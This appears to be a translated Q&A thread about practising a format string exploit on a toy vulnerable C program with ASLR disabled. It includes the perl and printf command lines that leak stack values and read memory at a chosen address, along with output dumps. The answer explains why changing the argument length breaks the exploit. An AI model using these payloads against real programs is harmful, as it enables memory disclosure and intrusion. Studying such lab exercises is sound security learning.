2014-05-09 24 views
1

我試圖利用格式字符串漏洞只是爲了練習,但出了問題。我的目標是利用這樣一個bug來讀取我選擇的某個地址。格式字符串漏洞演習

這是我想利用這個代碼:

#include <stdio.h> 
void main(int argv, char *argv[]){ 
    printf(argv[1]); 
} 

此程序是一個x86機器安裝2.6.20 Linux內核上運行。

我特林打印存儲在地址0x80483cb,屬於代碼段的字節:

echo 0 > /proc/sys/kernel/randomize_va_space 

... 
80483cb:  e8 e8 fe ff ff   call 80482b8 <[email protected]> 
80483cb:  e8 e8 fe ff ff   call 80482b8 <[email protected]> 
80483d0:  83 c4 10    add $0x10,%esp 
80483d3:  b8 00 00 00 00   mov $0x0,%eax 
... 

只是可以肯定,我也禁用了ASLR

我已經找到了準確位置在哪裏存儲內存地址做:

./print AAAA`perl -e 'print "%08x."x141'` 
AAAA00000000.bffff0a8.080483fb.b7fcaffc.b7fcaffc.080494e8.b7fcaffc.00000000.b8000ce0. 
bffff108.b7eb4e14.00000002.bffff134.bffff140.b7ff5b6c.b7fcaffc.00000000.bffff0c0.bffff108. 
bffff0b0.b7eb4dd2.00000000.00000000.00000000.b8000ff8.00000002.080482d0.00000000.b7ff5aa0. 
b7ff66b0.b8000ff8.00000002.080482d0.00000000.080482f1.080483a4.00000002.bffff134.080483e0. 
08048440.b7ff66b0.bffff12c.b7ffee8e.00000002.bffff2ac.bffff2b4.00000000.bffff57a.bffff5dd. 
bffff5f1.bffff5f8.bffff605.bffff615.bffff620.bffff674.bffff6bb.bffff6db.bffff6ef.bffff701. 
bffff711.bffff729.bffff749.bffff761.bffff777.bffff781.bffffc71.bffffc7f.bffffc8f.bffffcbc. 
bffffce7.bffffd08.bffffd33.bffffd41.bffffd5b.bffffe56.bffffe8b.bffffea0.bffffeba.bffffed2. 
bfffff0a.bfffff11.bfffff19.bfffff24.bfffff3a.bfffff5f.bfffff67.bfffff74.bfffff82.bfffff9e. 
bfffffb7.bfffffc2.bfffffcd.bfffffea.00000000.00000020.b7fe9400.00000021.b7fe9000.00000010. 
078bfbff.00000006.00001000.00000011.00000064.00000003.08048034.00000004.00000020.00000005. 
00000007.00000007.b7fea000.00000008.00000000.00000009.080482d0.0000000b.00000000.0000000c. 
00000000.0000000d.00000000.0000000e.00000000.00000017.00000000.0000000f.bffff29b.00000000. 
00000000.00000000.00000000.00000000.69000000.00363836.00000000.00000000.00000000.72702f2e. 
00746e69.41414141. 

最後,我試過打印上面的字節做:

./print $(printf "\xcb\x83\x04\x08")`perl -e 'print "%08x."x140 . "%s"'` 

但我得到的是故障之前,能夠看到這些字節:

00000000.bffff0a8.080483fb.b7fcaffc.b7fcaffc.080494e8.b7fcaffc.00000000.b8000ce0.bffff108. 
b7eb4e14.00000002.bffff134.bffff140.b7ff5b6c.b7fcaffc.00000000.bffff0c0.bffff108.bffff0b0. 
b7eb4dd2.00000000.00000000.00000000.b8000ff8.00000002.080482d0.00000000.b7ff5aa0.b7ff66b0. 
b8000ff8.00000002.080482d0.00000000.080482f1.080483a4.00000002.bffff134.080483e0.08048440. 
b7ff66b0.bffff12c.b7ffee8e.00000002.bffff2af.bffff2b7.00000000.bffff57a.bffff5dd.bffff5f1. 
bffff5f8.bffff605.bffff615.bffff620.bffff674.bffff6bb.bffff6db.bffff6ef.bffff701.bffff711. 
bffff729.bffff749.bffff761.bffff777.bffff781.bffffc71.bffffc7f.bffffc8f.bffffcbc.bffffce7. 
bffffd08.bffffd33.bffffd41.bffffd5b.bffffe56.bffffe8b.bffffea0.bffffeba.bffffed2.bfffff0a. 
bfffff11.bfffff19.bfffff24.bfffff3a.bfffff5f.bfffff67.bfffff74.bfffff82.bfffff9e.bfffffb7. 
bfffffc2.bfffffcd.bfffffea.00000000.00000020.b7fe9400.00000021.b7fe9000.00000010.078bfbff. 
00000006.00001000.00000011.00000064.00000003.08048034.00000004.00000020.00000005.00000007. 
00000007.b7fea000.00000008.000Segmentationfault 

我的預期是在屏幕上得到一組字符的這是從第一次使用的地址開始的字節\ x00,我做錯了什麼?

回答

1

如果你不改變參數的長度,這將工作。

您刪除了一個%08x.並添加了一個%s。這使得你的輸入縮短了3個字節,有效地改變了堆棧佈局。所以你可能不會再碰到正確的地址了。

我推薦你寫一個小腳本,它總是將你的字符串填充到一個固定大小。這有助於避免這種變化。請記住,更改環境($ PWD(cd ..),添加/刪除環境變量等)也會更改堆棧佈局。重置環境可以在這裏找到幫助(env -i)。

這裏是vuln程序的運行,而不改變參數的長度:

$ ./nagga $(printf的 「\ X41 \ X41 \ X41 \ X41」)XX perl -e 'print "%x."x118 . "%x"'; AAAAXX0.8048409 .f7fceff4.8048400.0.0.f7e454b3.2.ffffd6b4.ffffd6c0.f7fd3000.0.ffffd61c.ffffd6c0.0.804821c.f7fceff4.0.0.0.c1a6169f.f6a2b28f.0.0.0.2.8048330.0.f7ff0a90.f7e453c9.f7ffcff4.2.8048330。 0.8048351.80483e4.2.ffffd6b4.8048400.8048470.f7feb660.ffffd6ac.f7ffd918.2.ffffd7d4.ffffd7dc.0.ffffd947.ffffd952.ffffd962.ffffd984.ffffd997.ffffd9a1.ffffdec2.ffffded6.ffffdf23.ffffdf2d.ffffdf3e.ffffdf46.ffffdf51。 ffffdf63.ffffdf70.ffffdfa4.ffffdfc4.ffffdfe6.0.20.f7fdb420.21.f7fdb000.10.78bfbff.6.1000.11.64.3.8048034.4.20.5.9.7.f 7fdc000.8.0.9.8048330.b.0.c.0.d.0.e.0.17.0.19.ffffd7bb.1f.ffffdff0.f.ffffd7cb.0.0.0.0.0.f4000000.2b137f67.69b01f05.93944d19.697a2611。 363836.0.616e2f2e.616767.41414141

$ ./nagga $(printf的 「\ X70 \ X84 \ X04 \ X08」)XX perl -e 'print "%x."x118 . "%s"'; pXX0.8048409.f7fceff4.8048400.0.0.f7e454b3.2.ffffd6b4.ffffd6c0。f7fd3000.0.ffffd61c.ffffd6c0.0.804821c.f7fceff4.0.0.0.187cff94.2f785b84.0.0.0.2.8048330.0.f7ff0a90.f7e453c9.f7ffcff4.2.8048330.0.8048351.80483e4.2.ffffd6b4.8048400.8048470.f7feb660.ffffd6ac.f7ffd918。 2.ffffd7d4.ffffd7dc.0.ffffd947.ffffd952.ffffd962.ffffd984.ffffd997.ffffd9a1.ffffdec2.ffffded6.ffffdf23.ffffdf2d.ffffdf3e.ffffdf46.ffffdf51.ffffdf63.ffffdf70.ffffdfa4.ffffdfc4.ffffdfe6.0.20.f7fdb420.21。 f7fdb000.10.78bfbff.6.1000.11.64.3.8048034.4.20.5.9.7.f7fdc000.8.0.9.8048330.b.0.c.0.d.0.e.0.17.0.19.ffffd7bb.1f.ffffdff0.f.ffffd7cb .0.0.0.0.0.f000000.5f19366a.9135f3e8.e60e0ac6.69afc87d.363836.0.616e2f2e.616767.Ë$塵f Ћ u []Ð S r

按預期工作。

+0

我在Ubuntu 12.04.04 LTS VM上試了一下。禁用ASLR(這不應該在這裏)。你的第一個命令產生一個709字節長的字符串:'echo -n AAAA'perl -e'print「%08x。」x141'' | wc -c'。你的第二個命令產生707個字節:'echo -n $(printf「\ xcb \ x83 \ x04 \ x08」)'perl -e'print「%08x。」x140。 「%s」';'| wc -c'。儘量使兩個命令的長度完全相同,它應該可以工作。 – mofoe

+0

感謝您的回答。我嘗試了你的建議(直接使用%x而不是%08x),它起作用!但我想了解,爲什麼我的解決方案不能工作?我明白%08x。比%s多3個字節,但由於這是棧中最後一個字節(更高的地址),所以它們不應該混淆字符串指針和字符串本身之間的距離。據我所知,這是一個重要的問題,我錯了嗎? – badnack

+0

對不起,我在你回覆的那一刻編輯了評論。 Iw現在工作。這個問題的確是由於那3個字節。 – badnack